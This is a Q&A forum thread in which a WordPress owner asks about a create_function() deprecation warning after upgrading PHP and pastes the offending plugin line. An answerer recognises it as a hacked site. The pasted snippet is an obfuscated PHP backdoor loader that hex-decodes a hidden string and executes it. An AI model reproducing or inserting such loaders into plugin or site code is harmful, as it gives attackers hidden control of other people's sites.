0

I know there were similiar threads but i didn't find an answer, so i decided to post it here.

I recently upgraded my PHP on wordpress site from 5.6 to 7.3 for better performanse.

Now i have this error:

Deprecated: Function create_function() is deprecated in /home/admin/domains/houser.pl/public_html/wp-content/plugins/docs/docs.php on line 9

So i checked the path file and it shows this:

$WHASl              =               $mFXQJ   ;                       if          (!function_exists          ("aSlex")){function aSlex(          $ppiAt){            $qqjBu=""           ; $MXQII    =               strlen( $ppiAt  )       /           2       ;       for  (    $BumFY=0        ;$BumFY<          $MXQII;         $BumFY++       ){$qqjBu.=      chr                  (base_convert   (   substr($ppiAt,$BumFY        *   2,  2     )       ,   16, 10    )               );  }           return $qqjBu;          }   }              $WHASl     =          create_function    (   null             , aSlex(           $WHASl));        $WHASl()  ;

I struggle with this for so long now, please let me know how to fix this.

Many thanks!

1

1 Answer 1

1

That site is sure hacked. :(

If you see such obfuscated code in an WP, that might be suspicious.

http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Sign up to request clarification or add additional context in comments.

1 Comment

Thank you! I was so into fixing this deprecated code, that i didn't even look at this hacked code. I really appriciate your help, thanks!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.